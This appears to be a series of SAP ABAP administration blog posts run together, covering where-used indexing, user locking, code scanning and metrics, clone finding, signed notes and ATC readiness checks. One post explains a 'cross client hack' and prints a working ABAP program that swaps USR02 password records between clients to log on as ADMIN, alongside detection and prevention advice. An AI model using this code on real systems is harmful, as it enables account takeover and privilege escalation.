A nice feature in ABAP is the where used function on usage of programs, tables fields etc, in both standard can custom code. For this function to work properly the ABAP where used index must be up-to-date.
This blog will give answers to the following questions:
How to re-run the ABAP where used index?
How to speed up the ABAP where used index by running in parallel mode?
Which bug fix notes should I apply to get a good ABAP where used index?
How to run ABAP where used index?
You can run the programs SAPRSEUB and SAPRSEUC yourself in background, or start program SAPRSEUJ to schedule the jobs for you.
Program SAPRSEUB will index standard SAP objects. Program SAPRSEUC will index custom objects.
If for whatever reason you want to stop the jobs, use program SAPRSEUB_STOP.
Performance of the where used jobs using parallel processing
Check if OSS note 2228460 – Runtime of job EU_INIT, SAPRSEUB, performance is applied. Using settings in table RSEUPACTRL you can control the runtime behavior of the parallel execution of the where used indexing process. You can check in SM50 and SM66 if the job is using the parallel
OSS notes with bug fixes
The following bug fix OSS notes can be check if they are valid for your release:
Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.
Questions that will be answered in this blog are:
How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?
Cross client hack explained
You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.
So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:
REPORT ZSWAPUSER.
data: zls_usr02_1 type usr02.
data: zls_usr02_2 type usr02.
data: zls_usr02_t type usr02.
parameters p_uname1 type usr02-bname.
parameters p_mandt1 type sy-mandt.
parameters p_mandt2 type sy-mandt.
select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1.
select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2.
zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t.
write sy-subrc.
zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1.
modify usr02 client specified from zls_usr02_t.
write sy-subrc.
In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..
After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.
Detecting this attack
Detecting this attack directly is very difficult. There are traces:
Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client
Preventive measures
The following preventive measures can be taken:
Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
There are 2 good reasons for mass locking and ending validity date of user: security and licenses.
Questions that will be answered in this blog are:
How can I mass lock users automatically if they have not logged on for a certain time?
How can I mass set the validity date of the users that did not log on for a certain time?
Automatic lock of user after expired logon
In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.
If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.
If the user tries to logon after the period he will see this error message and cannot continue:
In SU01 such a user looks like this:
If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.
Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.
Mass setting of user validity date
For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.
Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.
It has quite a long selection screen:
On the first block set the dates for last logon and password change to get a good selection of users.
On the second block very important to only select Dialog Users.
First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.
OSS notes
Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):
This blog will explain how to scan ABAP coding in search of a specific keyword or string. Many times older or badly written programs contain hard code logic like system ID’s, plant codes, movement types, order types etc. When a larger business change happens you need to find these codes in your ABAP code and act on them. This blog will explain how to do this search.
Questions that will be answered are:
How does the scan program work?
How to search for certain strings?
How to search for words in the comments?
ABAP search tool
You can start the ABAP search tool with transaction code CODE_SCANNER:
REPORT zscantest2.DATA zt001w TYPE t001w.SELECT SINGLE werks FROM t001w INTO zt001w.IF zt001w-werks EQ 'DE01'.WRITE: 'German plant'.ELSEIF zt001w-werks EQ 'US01'.* USA plantWRITE: 'US plant'.ELSE.WRITE: 'diffferent plant'.ENDIF.
If we now start a search with the word ‘S4H’ we get this result:
A hard coded SID.
If we search with ‘US01’ we get this result:
A hard coded plant.
If we search with ‘USA’ we get this result:
The word we were looking for is in the comment lines.
Search alternative program RS_ABAP_SOURCE_SCAN
In SAP note 2764076 – CODE_SCANNER not working properly, SAP explains that CODE_SCANNER might not always work for every release. They offer alternative program RS_ABAP_SOURCE_SCAN (there is no transaction code for this program, so start via SE38):
There are many static code analysis tools. Long list can be found on Wikipedia. At some point in time a manager or developer might come to you with one of these tools like “hey, at my previous customer we used SonarABAP for code measurements”.
This blog will explain the ABAP code metric tool built into netweaver. Together with the ATC tool the code metric tool covers most of the functions that such tools deliver.
Questions that will be answered in this blog are:
How can I count the amount of lines of Z code in my SAP system?
How to run ABAP code metric tool?
What output will the ABAP code metric tool deliver?
Use cases of the ABAP code metric tool?
Test program
The test the code metric tool write a small ABAP program like this:
This program has nested IF statements (3 levels deep), one ELSE statement and a nested DO.
Code metric tool
Start the custom code analysis tools with transaction /SDF/CD_CCA:
The code metric tool is the tool on the bottom of the screen.
On the start screen select the package and extra checks (selecting more packages and checks will increase the runtime of the tool):
Result for our test program:
The output is giving:
LoC: lines of code
NoS: number of statements
NoC: number of comments
COM: complexity of conditions
TOTAL DD: complexity weighted by decision depth
etc
IF: 3 (this was in our test program)
ELSEIF: 1
DO: 2
etc like amount of loops, selects, updates, deletes, modifies, case statements.
Use cases of Code Metric Tool
Use case 1: complex programs
Complex programs are normally source of most productive issues. You can use the code tool to check if the program is not too overly complex (like many nested if and case statements).
Use case 2: the procedural versus OO discussion
Sometimes you have managers wanting you to count the amount of Z objects. If you have switched from procedural coding to OO coding you will find the amount of objects to have increased. The code metric tool can help you here by counting the amount of statements and complexity. The amount of objects in OO is typically higher, but due to re-use and better setup, the total amount of statements and the total complexity decision depth should be smaller.
Use case 3: count the amount of Z code lines in your SAP system
Every now and then there is discussion on Z code. Sometimes the question will popup: “How many lines of Z code do we have in our SAP system?”. This question you can answer as well with the code metric tool explained above.
For reference: SAP standard has 238 million lines of code (source is this SAP blog).
This blog will explain the use of SAP clone finder.
Questions that will be answered in the blog are:
What are clones?
How to run the clone finder tool?
How to analyze the difference between the original and the clone?
What are clones?
Standard SAP offers lot of out-of-the-box functions and reports. But in many cases the standard report only offers 95%. What to do? In many cases developers copy the standard SAP program to Z copy and add the needed 5%. When upgrading the system to higher version or when applying support packages or OSS notes, the Z clone will not be upgraded to latest version. Maybe the clone needs updates as well, or can be deleted now after upgrade (if SAP added the missing 5%).
The clone finder tool is able to find the clones made in the past.
When you are doing a S4HANA conversion project (see blog) you will have to look again at these clones if they are still relevant or not.
Running the clone finder tool
The clone finder is part of the Custom Code Analysis workbench. Start the workbench with transaction /SDF/CD_CCA or transaction CCAPPS:
Clone finder is on top of the list.
Start screen of clone finder:
Pending on the size of your system you can run online or in batch.
Test result of standard SAP copy made as example:
As example program RSUSR003 and its includes were copied to Z programs. 3 are shown as identical copies. 1 is altered.
In the function link column you can hit the Version Compare button to see the differences:
Differences: the name of program and includes are different. And the authorization check was removed.
In the previous blog on SAP security notes you will see that security notes popup around “Digitally signed SAP notes”.
This blog will explain more on how to implement this.
Questions that will be answered in this blog are:
Why switch over to the new way?
How to implement the feature to download digitally signed SAP notes?
How to make the relevant settings?
Where to find more information?
Why switch over to the new way?
SAP keeps improving their security in all ways. Including OSS notes. There is no direct benefit. After downloading the OSS notes, the handling is identical for old and new way.
Switching over from current way of working to digitally signed SAP notes can be done any time.
SAP has announced the following: "Post January 1, 2020, the download and upload process will stop working unless Note Assistant (SNOTE transaction) is enabled in ABAP systems to work with digitally signed SAP Notes".
How to implement digitally signed SAP notes?
There are 2 basic ways to implement (you have to do only one):
Apply TCI based OSS note 2576306, which contains all the notes (and manual work) in the notes mentioned in point 1. Your system needs to be able to handle TCI based OSS notes (see this blog on how to do this).
Follow the guided procedure
Guided enablement procedure
The guided procedure is the easiest way to apply and check the digitally signed OSS notes way of working.
Follow the instructions from OSS note 2836302 – Automated guided steps for enabling Note Assistant for TCI and Digitally Signed SAP Notes. Attached this note is an explanatory PDF document that describes all steps in detail. After installation of the OSS note (and prerequisite notes), you can run program RCWB_TCI_DIGITSIGN_AUTOMATION, which will guide you through the steps and verifies the results at the end:
Settings after implementation
If you have done the TCI based import a new customizing node is available:
The first one (direct program in SE38 is called RCWB_SNOTE_DWNLD_PROC_CONFIG) is to set the way of downloading:
The second one (direct program in SE38 is called RCWB_UNSIGNED_NOTE_CONFIG) is to allow only digitally signed SAP notes:
How to validate if the notes now are digitally signed?
To see if all is ok, download and implement a new OSS note. In the note log you can now see the digital signature download in the note log (in nice German words):
In the previous blogs we have explain how to run ATC from central system to remote system. This will enable you to for example run the ATC against an older release, which doesn’t have the ATC tool capability.
But there is one other common issue with older systems: you have lots of existing legacy Z code. If you want to clean up or start with new guidelines the ATC is initially not helpful since it will give you lots of errors.
This blog will explain the concept of baselining the current Z code with an initial run to give you a clean start.
Questions that will be answered in this blog are:
How to setup the ATC baseline?
How to run the ATC baseline?
What are the known limitations of the ATC baseline functionality?
Setting the baseline
To set the baseline, first run a full ATC remote check. This will give many issues. In the ATC results screen select the run and press the button Baseline to mark the current results as baseline.
You can choose that the current results are simply suppressed, are treated as exemptions or are treated as low priority.
If you run ATC tool again, please make sure in your run variant that you now select the consider baseline tick box:
If you don’t change any coding in the remote system the next run of ATC should give you a clean run with no issues (in case you have chosen suppression).
ATC after baseline
In the remote system we now do 2 coding changes:
We had before the baseline a bad program called ZCRAP1. To this program we do a change.
We created a new program called ZCRAP2.
Now we run the ATC tool again with the baseline to ignore the baselined findings.
The ATC tool now finds issues in both the changed and the newly created program.
The unfortunate thing is that for the old program, it does not look at the newly added lines, but it looks at ALL the issued in the analyzed code (also the existing).
This might lead to some surprise if you add 1 line to a 1000 line existing bad code: this will give lots of errors. It is up to you to decide to fix the existing errors or just exempt the existing ones.
In the blog on readiness check 2.0 we explained how you can perform analysis on your system as preparation for the S4HANA upgrade. This blog will explain how to run detailed analysis on your custom code as preparation for S4HANA upgrade. Pre-condition is that you have installed 7.52 netweaver system and done the configuration for remote ATC as described in this blog.
Questions that will be answered in this blog are:
What do I need to do in order to set up the remote S4HANA readiness check in ATC?
How to run the remote S4HANA readiness check?
How to handle the results of the remote S4HANA readiness check?
How to set up remote ATC for S4HANA readiness check?
To run the remote ATC for S4HANA readiness check you must install a netweaver 7.52 system and configure the remote ATC. Instructions can be found in this blog.
In the SAP code inspector (for details see this blog) you can now find the S4HANA readiness variants:
How to run the S4HANA readiness in ATC?
To run the S4HANA readiness variant create in the ATC tool (for all details see this blog) a special S4HANA readiness run series:
In this run it is important to put your analysis system object provider into the variant!
Now start the ATC run and be patient. The run might take a few hours pending on your system size and Z code base sizing.
You can monitor the progress in the ATC run monitor:
You can also see here if any tool issues were reported. If tool issues are present, click on the underlined number and see if you can solve them. Most issues are SAP bugs and you need to apply an OSS note. Before creating new message for SAP make sure you have applied all recent notes for the S4HANA readiness check (2436688 – Recommended SAP Notes for using S/4HANA custom code checks in ATC) and all the remote ATC notes as explained in the remote ATC blog.
How to handle the results?
If the ATC run is finished you can look at the results in the central system:
The results consist of a code point where a potential issue is. If you click on the code point you jump to the analyzed systems code.
There is also a note number which explains what you need to check.
Now basically 3 things can happen:
You can fix the issue directly: nice, the next run the issue is gone.
You read from the OSS note the function has changed or is no longer present in S4HANA. Read the OSS note for alternatives or check with your functional consultant on functional alternatives. Example of change is the way output and pricing is done. You know now it will be changed, but you cannot prepare in the current system. Use the list as input for project management for work estimation.
You read from the OSS note the potential issue and conclude it is not relevant for your situation. Example is material number length handling. If you use material numbers properly this is not relevant for you, but the tool will generate massive amounts of alerts. But maybe in some cases you need to intervene.
To distribute the results, apply OSS note 2499684. This enables you to download the ATC results into xls spread sheet. From here it is easier to follow up if action is needed for long list (like material number length) or not.
More important, you need to run the ATC a few times, after every main clean up round. But some notes you might have detected as not relevant and you want to exclude them.
To do this copy the SCI S4HANAREADINESS variant to your own variant. Then change the SCI variant to exclude the OSS notes you don’t want to see any more:
Now rerun the ATC with the new variant. The list you get will be smaller. Repeat this iterations as long as needed.
Don't change the originally SAP delivered SCI variants. New features and bug fixes by SAP will update this variant. If you have an updated SAP variant, simply copy it again to your Z variant and redo the exclusion of OSS notes.
S4HANA 1809 update and beyond
If you previously installed remote ATC for a 1709 check and want to run now for S4HANA 1809 or higher version, there are a few update steps to follow.
Step 2 is to update the simplification content to version 1809. You have to download the content from SAP software site and upload it in your ATC 7.52 system. For this step follow the instructions from OSS note 2241080 – SAP S/4HANA: Content for checking customer specific code.
Short summary of these steps in this note: download the most up-to-date simplification database:
In the 7.52 central ATC system use tcode SYCM to upload this file.
Now you are good to go for the S4HANA 1809 readiness check for custom code.
For S4HANA 1909, S4HANA 2020 and S4HANA 2021 the notes have different numbers:
